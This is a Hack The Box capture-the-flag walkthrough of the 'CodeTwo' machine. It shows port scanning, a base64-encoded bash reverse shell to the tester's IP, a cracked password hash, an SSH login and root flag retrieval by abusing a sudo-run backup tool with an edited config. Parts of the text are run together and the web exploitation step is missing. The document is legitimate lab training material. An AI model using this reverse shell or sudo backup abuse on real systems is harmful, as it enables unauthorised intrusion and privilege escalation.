Post

HTB CodeTwo Writeup (Walkthrough)

HTB CodeTwo Writeup (Walkthrough)

Introduction

This is a detailed walkthrough for the “CodeTwo” machine on Hack The Box. The target is a Linux system running a Python Code Editor web application vulnerable to database query exposure and privilege escalation via a misconfigured backup script.

Enumeration

Port Scanning

1
nmap -sC -sV -oN codetwo/codetwo 10.10.11.82
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[/mnt/hgfs/VMShare/CodeTwo]
└─$ nmap -sC -sV -Pn -oA codetwo 10.10.11.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-28 14:24 EDT
Nmap scan report for codetwo.htb (10.10.11.82)
Host is up (0.057s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds

Open Ports:

  • 22/tcp OpenSSH 8.2p1
  • 8000/tcp Gunicorn (Python web app)

┌──(venv)─(kali㉿kali)-[/mnt/hgfs/VMShare/CodeTwo/app] └─$ echo -n “(bash >& /dev/tcp/10.10.14.83/4444 0>&1) & “ | base64 KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODMvNDQ0NCAwPiYxKSAmIA==

cat hash.txt 1|marco|649c9d65a206a75f5abe509fe128bce5

┌──(kali㉿kali)-[~/Downloads] └─$ john –show –format=raw-md5 hashes.txt ?:sweetangelbabylove

1 password hash cracked, 0 left

┌──(kali㉿kali)-[~/Downloads] └─$ ssh [email protected] The authenticity of host ‘10.10.11.82 (10.10.11.82)’ can’t be established. ED25519 key fingerprint is SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added ‘10.10.11.82’ (ED25519) to the list of known hosts. [email protected]’s password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

  • Documentation: https://help.ubuntu.com
  • Management: https://landscape.canonical.com
  • Support: https://ubuntu.com/pro

System information as of Thu 28 Aug 2025 07:27:14 PM UTC

System load: 0.0 Processes: 262 Usage of /: 64.4% of 5.08GB Users logged in: 1 Memory usage: 36% IPv4 address for eth0: 10.10.11.82 Swap usage: 0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Aug 28 19:27:17 2025 from 10.10.14.83 marco@codetwo:~$ ls backups npbackup.conf user.txt marco@codetwo:~$ cat user.txt b6ca8872a81e2191f39e0280201f458f

marco@codetwo:/usr/local/bin$ /usr/local/bin/npbackup-cli –help usage: npbackup-cli [-h] [-c CONFIG_FILE] [–repo-name REPO_NAME] [–repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s] [–ls [LS]] [–find FIND] [–forget FORGET] [–policy] [–housekeeping] [–quick-check] [–full-check] [–check CHECK] [–prune [PRUNE]] [–prune-max] [–unlock] [–repair-index] [–repair-packs REPAIR_PACKS] [–repair-snapshots] [–repair REPAIR] [–recover] [–list LIST] [–dump DUMP] [–stats [STATS]] [–raw RAW] [–init] [–has-recent-snapshot] [–restore-includes RESTORE_INCLUDES] [–snapshot-id SNAPSHOT_ID] [–json] [–stdin] [–stdin-filename STDIN_FILENAME] [-v] [-V] [–dry-run] [–no-cache] [–license] [–auto-upgrade] [–log-file LOG_FILE] [–show-config] [–external-backend-binary EXTERNAL_BACKEND_BINARY] [–group-operation GROUP_OPERATION] [–create-key CREATE_KEY] [–create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK] [–create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK] [–check-config-file]

Portable Network Backup Client This program is distributed under the GNU General Public License and comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions; Please type –license for more info.

optional arguments: -h, –help show this help message and exit -c CONFIG_FILE, –config-file CONFIG_FILE Path to alternative configuration file (defaults to current dir/npbackup.conf) –repo-name REPO_NAME Name of the repository to work with. Defaults to ‘default’. This can also be a comma separated list of repo names. Can accept special name ‘all’ to work with all repositories. –repo-group REPO_GROUP Comme separated list of groups to work with. Can accept special name ‘all’ to work with all repositories. -b, –backup Run a backup -f, –force Force running a backup regardless of existing backups age -r RESTORE, –restore RESTORE Restore to path given by –restore, add –snapshot-id to specify a snapshot other than latest -s, –snapshots Show current snapshots –ls [LS] Show content given snapshot. When no snapshot id is given, latest is used –find FIND Find full path of given file / directory –forget FORGET Forget given snapshot (accepts comma separated list of snapshots) –policy Apply retention policy to snapshots (forget snapshots) –housekeeping Run –check quick, –policy and –prune in one go –quick-check Deprecated in favor of –‘check quick’. Quick check repository –full-check Deprecated in favor of ‘–check full’. Full check repository (read all data) –check CHECK Checks the repository. Valid arguments are ‘quick’ (metadata check) and ‘full’ (metadata + data check) –prune [PRUNE] Prune data in repository, also accepts max parameter in order prune reclaiming maximum space –prune-max Deprecated in favor of –prune max –unlock Unlock repository –repair-index Deprecated in favor of ‘–repair index’.Repair repo index –repair-packs REPAIR_PACKS Deprecated in favor of ‘–repair packs’. Repair repo packs ids given by –repair-packs –repair-snapshots Deprecated in favor of ‘–repair snapshots’.Repair repo snapshots –repair REPAIR Repair the repository. Valid arguments are ‘index’, ‘snapshots’, or ‘packs’ –recover Recover lost repo snapshots –list LIST Show [blobs|packs|index|snapshots|keys|locks] objects –dump DUMP Dump a specific file to stdout (full path given by –ls), use with –dump [file], add –snapshot-id to specify a snapshot other than latest –stats [STATS] Get repository statistics. If snapshot id is given, only snapshot statistics will be shown. You may also pass “–mode raw-data” or “–mode debug” (with double quotes) to get full repo statistics –raw RAW Run raw command against backend. Use with –raw “my raw backend command” –init Manually initialize a repo (is done automatically on first backup) –has-recent-snapshot Check if a recent snapshot exists –restore-includes RESTORE_INCLUDES Restore only paths within include path, comma separated list accepted –snapshot-id SNAPSHOT_ID Choose which snapshot to use. Defaults to latest –json Run in JSON API mode. Nothing else than JSON will be printed to stdout –stdin Backup using data from stdin input –stdin-filename STDIN_FILENAME Alternate filename for stdin, defaults to ‘stdin.data’ -v, –verbose Show verbose output -V, –version Show program version –dry-run Run operations in test mode, no actual modifications –no-cache Run operations without cache –license Show license –auto-upgrade Auto upgrade NPBackup –log-file LOG_FILE Optional path for logfile –show-config Show full inherited configuration for current repo. Optionally you can set NPBACKUP_MANAGER_PASSWORD env variable for more details. –external-backend-binary EXTERNAL_BACKEND_BINARY Full path to alternative external backend binary –group-operation GROUP_OPERATION Deprecated command to launch operations on multiple repositories. Not needed anymore. Replaced by –repo-name x,y or –repo-group x,y –create-key CREATE_KEY Create a new encryption key, requires a file path –create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK Create a scheduled backup task, specify an argument interval via interval=minutes, or hour=hour,minute=minute for a daily task –create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK Create a scheduled housekeeping task, specify hour=hour,minute=minute for a daily task –check-config-file Check if config file is valid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
cat npbackup.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
marco@codetwo:~$ cat npbackup.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /root
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}
1
sudo npbackup-cli -c npbackup.conf -b -f
1
sudo npbackup-cli -c npbackup.conf -f --dump /root/root.txt

Done!


Hi there 👋 Support me!

Life is an echo—what you send out comes back.

Donate

This post is licensed under CC BY 4.0 by the author.